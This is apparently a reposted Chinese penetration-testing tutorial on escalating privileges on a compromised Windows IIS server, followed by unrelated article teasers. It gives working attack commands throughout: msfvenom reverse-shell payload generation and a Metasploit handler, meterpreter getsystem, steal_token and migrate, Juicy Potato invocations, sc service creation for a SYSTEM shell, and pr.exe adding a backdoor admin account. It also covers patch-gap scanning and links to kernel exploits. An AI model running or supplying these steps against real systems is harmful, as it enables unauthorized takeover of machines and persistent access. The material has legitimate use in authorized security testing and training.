提权 | Windows系统

news/2024/10/23 22:47:25

目录
  • cmd提权
  • meterpreter提权
    • getsystem
    • steal_token
    • migrate
  • 令牌窃取(MS16-075)
    • 烂土豆提权步骤
    • 烂土豆提权原理
  • sc命令提权
  • 抓本地密码提权
  • 其他工具
      • pr工具
    • 内核提权
      • WindowsVulScan

cmd提权

前言:我们getshell一个用windows部署的网站后,通过蚁剑或者其他工具进行连接的时候通常权限是不够的,执行简单的dir指令都会被拒绝访问,那么这时候其实就可以通过上传一个cmd直接进行提权,可以执行一些简单的命令而不至于一个指令都无法执行。

由于windows的iis网站部署使用的用户是windows指派的iuser用户,iuser没有cmd的使用权限,所以无法执行指令。

  • 假设我们已经把木马放到了windows服务端上,通过蚁剑或者菜刀等等工具进行连接。如果能够访问到c盘的目录那就直接下载下来,然后通过iuser用户上传到网站目录中,如果不可以那就使用上传文件功能上传一个cmd.exe,最好是和他windows系统版本匹配的cmd。在这里插入图片描述
    上传cmd程序到网站目录下
    在这里插入图片描述
  • 在网站目录下右键打开菜刀的虚拟虚拟终端,设置好我们要使用的cmd.exe程序。
    注(在使用菜刀中):需要在该网站目录下打开虚拟终端,不要去连接列表项处右键,否则会出现连dir都无法执行的情况,起码你在网站根目录下右键进入的权限还是个iuser用户能够执行简单指令。
setp c:\wwwtest\1111\cmd.exe设置完成之后就可以进行一些指令操作了,
但是很遗憾的是我们whoami出来的用户依旧是windows指派给iis的iuser用户,
这里的network service就是指iuser用户。
比如我们无法进行用户的添加。

在这里插入图片描述
这时候就需要利用windows的一些系统漏洞了,查看windows服务端有哪些往年爆出来的漏洞但是他没有打补丁。

meterpreter提权

这里使用meterpreter的前提是你在本机使用监听器监听端口,然后把提前生成的这个木马文件让目标机点击运行了,监听器连接上session会话即可使用meterpreter进行后渗透工作。

这里简单介绍两个指令:

#以下指令中的木马文件生成路径都是可以修改的,不要过于死板
#里面的yourip是攻击机的ip,因为客户机要通过木马连接你
> msfvenom -p windows/meterpreter/reverse_tcp lhost=yourip lport=5000 -f exe -o /root/happy.exe 
> msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=yourip LPORT=4444 -f exe > abc.exe

在这里插入图片描述
到这里先别直接让目标机运行起来,而是需要我们在metasploit中开启监听器,再让目标机运行木马连接我们。

use exploit/multi/handler  //使用msf的监听模块
set lhost 192.168.100.120  //设置好监听器的ip地址,我这里就是kali主机ip地址
run  //run就直接运行了,正在监听中(也可以使用exploit指令)

切记,use之后一定要切换payload,不要使用默认的,不然我们上面的payload生成木马指令对应不上就连接不上了(因为我后面就是出现这个原因导致回来写这句话)
在这里插入图片描述
设置payload

set payload windows/meterpreter/reverse_tcp

在这里插入图片描述

设置参数,然后run就是开始监听了
在这里插入图片描述
将木马文件传到目标机器上,让其运行起来

菜刀上传

在这里插入图片描述
菜刀命令行运行起来
在这里插入图片描述
但是没关系,只要运行起来了, 就能看到我们的meterpreter成功拿下主机
在这里插入图片描述

meterpreter下提权指令,这里介绍几个,我们上面使用whoami还是iuser用户,所以还没达到提权的目的。getsystem #直接升至system权限
migrate 进程号    #需要你找到高权限的进程,然后迁移至他的pid实现提权

getsystem

用法:getsystem

msf拿到shell后进入meterpreter,直接输入getsystem即可尝试提权。
在这里插入图片描述

steal_token

用法:steal_token PID

窃取system权限开启进程的用户的令牌,一般是找system用户,拿system权限开启的进程的token令牌提权,是否成功可以通过getuid来查看是否为system权限

migrate

进程迁移提权

migrate 进程号用法如下

  • 首先使用ps查看哪些进程被较高用户权限开启的进程,原理是通过该指令将他的权限移植到我们自己这里来。
  • 比如下面的336,是system开启的,我们就可以尝试将他的权限移植给我们
    在这里插入图片描述
    耐心等待一下
    在这里插入图片描述
    在这里插入图片描述
    成功移植,如果有时候getsystem不好使可以尝试一下这个。

令牌窃取(MS16-075)

工具百度网盘分享:
https://pan.baidu.com/s/1u-9f1_kRjfhjfmG6qV5ThQ?pwd=ws5x

烂土豆提权步骤

1.查看是否符合提权条件

whoami /all 或 whoami /priv如果`SeImpersonate` or `SeAssignPrimaryToken` 两个权限其中有一个开启了即可提权,都关闭即不符合条件

2.去CLSID目录下查找CLSID

执行命令:
Powershell -ep bypass -f GetCLSID.ps1 > CLSID.list目录下的GetCLSID.ps1和GetCLSID2.ps1 都能用,
如果GetCLSID.ps1用不了就用`GetCLSID2.ps1`,
而且我一般都用`GetCLSID2.ps1`
输出到CLSID.list文件中,是为了后续测试CLSID是否能用做铺垫

在这里插入图片描述

3.测试可用的CLSID,bat文件在juicy-potato\Test\test_clsid.bat

上一步使用Powershell -ep bypass -f GetCLSID.ps1执行出来的内容输出到文件CLSID.list里面
然后把`JuicyPotato.exe`、`CLSID.list`、`test_clsid.bat`三个文件在同一目录即可
接着直接运行窗口运行test_clsid.bat即可看到哪些可以用的CLSID了

在这里插入图片描述

4.接着就可以使用烂土豆exe程序了
这里用哪个CLSID的话就要打开看log文件,后面会对应着这个CLSID用户(选择SYSTEM的就提权为SYSTEM权限)
在这里插入图片描述

比如我们选择第一个CLSID
JuicyPotato.exe -t * -p c:\windows\system32\cmd.exe -l 1155 -c {000C101C-0000-0000-C000-000000000046}-t *表示-t t 或者-t u都可以,*代表SeImpersonate和SeAssignPrimaryToken随便开一个即可,
另外`-t t`代表`SeImpersonate`,而`-t u`代表`SeAssignPrimaryToken`,所以还是跟着官方教程直接使用*即可
他的教程也有说`-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both`
-p指定cmd路径,这里就是要以system权限启动的程序,待会拿到cmd执行whoami的时候就是system权限了(桌面弹新cmd窗口)
-l指定一个没有被系统使用的端口,没有固定值
-c指定可用的CLSID

5.细节:还要注意查看RPC默认端口是否为135 && 注意防火墙是否允许是否允许RPC端口入站

端口问题:
RPC默认端口是否为135,如果不是的话就需要修改,只修要添加-n参数指定端口即可
比如:`JuicyPotato.exe -n 111 -t * -p c:\windows\system32\cmd.exe -l 1155 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}`防火墙问题:注意端口号,如果不是135自己修改 localport=135 的值即可
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

6.提权成功会在桌面弹出一个system权限的cmd窗口
但是我这里没找到合适的虚拟机器,也就是说SeImpersonate or SeAssignPrimaryToken 两个权限都没有开,所以失败了
如果成功的话是会弹出一个CLSID对应用户权限的cmd窗口
在这里插入图片描述

烂土豆提权原理

COM对象即LocalService,而LocalService用户默认具有SeImpersonate和SeAssignPrimaryToken权限
- 开启SeImpersonate权限后,能够在调用CreateProcessWithToken时,传入新的Token创建新的进程
- 开启SeAssignPrimaryToken权限后,能够在调用CreateProcessAsUser时,传入新的Token创建新的进程下面就是认证替换数据获取system权限原理
1、尝试加载COM,发出请求,你发起的这个请求加载的com的权限为System。这里的COM对象可以查到CLSID看用户是什么权限的用户,所以这也就是为什么我们提权前需要用对应为system权限的CLSID
2.上一步的发起加载COM主要是为了拿到回应步骤1的请求的这个数据,这里会回应然后发起NTLM认证,但是很明显你不是system权限,所以无法认证认证成功。(目的达到了,拿到请求system权限回应过来的NTLM数据)
3.针对本地端口,同样发起NTLM认证,权限为当前用户,这里肯定会认证成功,所以拿到认证成功的NTLM认证的数据
4.分别拦截两个NTLM认证的数据包,通过NTLM重放使得(权限为System)的NTLM认证通过,然后拿到system的token数据。(越权漏洞)
5.拿着system权限的token启动程序,创建出来的进程就是system权限了,比如cmd

sc命令提权

针对版本windows 7、8、03、08、12、16

这种通常需要直接远程主机或者比较强的反弹shell中使用才行

这种方式是通过创建服务的方式进行提权,不过使用webshell比较弱的连接方式是无法做到在连接器中进行提权,所以这里演示的是直接在目标机中直接使用命令进行提权。

Administrator不是最高的权限,system才是,所以我们在Administrator中也能够体现出提权效果。

如下:

首先打开cmd终端,现在属于Administrator用户,现在要提权为system权限。

命令
添加服务:sc Create syscmd binPath= "cmd /K start" type= own type= interact
执行服务:sc start syscmdsyscmd在添加服务的时候可以定义服务名称,执行服务的时候也是用这个名称,为了具有迷惑性,所以我一般选择syscmd等等其他名字也可以。
执行服务后会自动弹出另一个dos窗口,而不是在本窗口中,这也是webshell用不了的原因。webshell太拉了。

在这里插入图片描述

抓本地密码提权

这里要是能抓到管理员的密码登录也是提权的一种方式,在内网渗透中有提到本地密码提取,但是你要用工具拿密码的一般都需要高权限,我们现在就处于低权限,所以比较
内网渗透-内网信息收集(一):
https://blog.csdn.net/weixin_60521036/article/details/142964820

其他工具

工具有很多,pr、巴西烤肉、iis6等等。这里就介绍pr提权。

pr工具

主要适用于‌Windows Server 2003‌和‌Windows XP‌系统‌

这里演示一个pr和一个pr免参数的debug.exe,我们丢到靶机上面试试,提权工具在github上搜就能搜到。
在这里插入图片描述
上传成功后,打开虚拟终端,在上传文件目录下 直接运行该程序即可 。运行成功后可以看到他运行了哪些指令,其实这个一看就知道是默认创建了一个temp用户名,密码是123456,然后将用户添加到了管理员用户组中,那么我们就可以拿着这个用户去远程连接这个目标机了
在这里插入图片描述
如果想指定用户名和密码的就是用pr.exe上传过去使用,用法是:pr.exe "net user uname passwd /add" , 用法其实就是windows正常创建用户的指令语法,只不过是将参数传到pr.exe中让他帮你创建,注意,这里依旧是帮你自动添加到管理员用户组,你可以net user查看一下用户组成员。

那么问题来了,既然pr.exe可以帮我们执行创建用户和添加用户组行为,那是不是也可以执行其他操作??对的!!

pr.exe "指令写在这就会按照system用户帮你执行"

如下所示:(这里提前将pr.exe上传过去目标机了)
在这里插入图片描述

内核提权

一般我还是用内核提权居多。
微软官方公布的漏洞编码号:https://learn.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017

快速查找未安装的补丁cmd指令:

systeminfo > micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt

指令输入后看到很多补丁没有打的话,补丁上面对应的这些漏洞都可以尝试一下。

拿着没有打的漏洞补丁去github上看对应的提权工具:https://github.com/SecWiki/windows-kernel-exploits

在这里插入图片描述
对应的exp推荐以下的链接地址,但是都是目前已公布的,未公布的谁也不敢发。

已对外公开exp注:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation

在这里插入图片描述
exp有直接的exe运行程序的话就可以把这个exe程序丢到目标机上,让目标机运行

在这里插入图片描述
下面还有对应的使用方法,一般都是使用msf来连接控制目标机的。

在这里插入图片描述

WindowsVulScan

还可以通过WindowsVulScan工具来收集可打的漏洞

1.将KBCollect.ps1文件放到目标主机上2.在cmd输入powershell,然后运行.\KBCollect.ps13.若是由于权限报错,下面方法可以解决
====================第一种方法=========================
​	输入:get-ExecutionPolicy(此时会输出得到:Resticted)
​	输入:Set-ExecutionPolicy-Scope CurrentUser
​	输入:RemoteSigned
​	验证是否解决问题,输入:get-ExecutionPolicy(此时返回RemoteSigned的话问题得到解决)
======================================================
====================第一种方法=========================
解决办法:(参考文章:https://ligowi.github.io/2021/02/04/RemoteSigned%E9%97%AE%E9%A2%98/)
1》Windows+R;
2》输入PowerShel l;
3》运行 “Set-ExecutionPolicy -Scope CurrentUser”;
4》出现ExecutionPolicy: ,填入RemoteSigned;
5》输入Y
6》关闭PowerShel ,然后执行get-ExecutionPolicy,发现变成了RemoteSigned,就成功了。
======================================================
4.继续运行.\KBCollect.ps1会生成补丁检测包KB.json5.把补丁检测包放到我们的物理机上6.运行python cve-check.py -C -f KB.json接着就去github漏洞库找到对应的漏洞去提权即可,下面是漏洞库漏洞库:https://github.com/nomi-sec/PoC-in-GitHub

ps1脚本放到目标机器上使用powershell执行,报错后我这里使用了第二种方式最后才成功执行脚本,报错第二种解决方法在上面有写这里省略了,直接看执行结果。
在这里插入图片描述
然后按照步骤将KB.json文件或者内容在脚本中执行
在这里插入图片描述

python cve-check.py -C -f KB.json

结果出来后就可以看到哪些漏洞可以打,然后去漏洞库找exp就行了
在这里插入图片描述

END.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/75250.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

08.Sleuth(Micrometer)+ZipKin分布式链路追逐

1.Sleuth进入维护模式替代方案 -> Micrometer Tracing 2.分布式链路追踪概述 2.1 出现背景 在微服务框架中,一个由客户端发起的请求在后端系统中会经过多个不同的服务节点调用来协调产生最后的结果,每一个前端请求都会形成一条复杂的分布式服务调用链路,链路中的任何一环…

sream

构建 arrays.stream(数组) 根据数组构建 collection.stream 根据集合构建 stream.of 根据对象创建 生成 Instream.range(a,b) 合并 stream.concat(流1,流2)

SvnKit提交代码

官网地址:https://svnkit.com/documentation.html#high-level-api svnkit提交代码提供的API 官方api地址 官网地址:https://svnkit.com/javadoc/org/tmatesoft/svn/core/wc/SVNClientManager.html 官方案例地址 https://wiki.svnkit.com/Committing_To_A_Repository svnkit调…

基于ubuntu配置环境时遇到的问题

新手都会遇到的配置问题:问了一下,具体原因是 连不上archive.ubuntu.com 解决方案是: 查找一下IP地址,然后ping一下 在 Ubuntu 中查找地址的指令是 $ ip addr show但是我先不ping,我先用vi讲我原来的源注释掉!(PS:这里真的很小心,一直在normal和insert模式下来回切换!!…

线性 DP

最长上升子序列问题是一个经典的线性动态规划问题。 例题:B3637 最长上升子序列 分析:设原始数组为 \(a\),定义状态 \(dp_i\) 表示以 \(a_i\) 结尾的上升子序列的最大长度。注意这个状态定义中有两个重点,第一个重点是 \(dp_i\) 只维护所有原始序列中以 \(a_i\) 结尾的上升…

20222422 2024-2025-1 《网络与系统攻防技术》实验三实验报告

一、实验内容 1、方法对后门实验中的msf编码器进行进一步的探索使用,使用msfvenom指令生成如jar之类的文件,从而尝试达到免杀的目的; 通过Veil等工具对目标程序进行加壳或者其他操作来实现免杀; 使用C+ShellCode编程实现免杀;2、应用 通过组合应用各种技术尽可能地实现恶意…

Java 解析 XML 转换为 Json

我们使用 Java 开发项目时偶尔会需要使用到 Xml 文件的解析, 一般情况下都会使用 DOM4j、SAX、JDOM 等方案,但这些方案比较代码编写较为繁琐。我们经常使用的 Json 进行数据传输或存储,如果能够将 Xml 快速转换为 Json,将会大大减轻我们后续开发和维护的工作量。 本篇博客简…

热力学与统计力学

统计力学 泊松分布 \[P(k,\lambda)=\frac{\lambda e^{-k}}{k!} \]其中\(\lambda\)是期望的事件数,k是观测到的事件数。 玻尔兹曼分布 \[P_i=\frac{e^{-\beta E_i}}{Z} \]其中\(P_i\)是状态i的概率,\(\beta=\frac{1}{KT}\) Z是配分函数\(Z=\sum_j e^{-\beta E_j}\) 麦克斯韦-玻…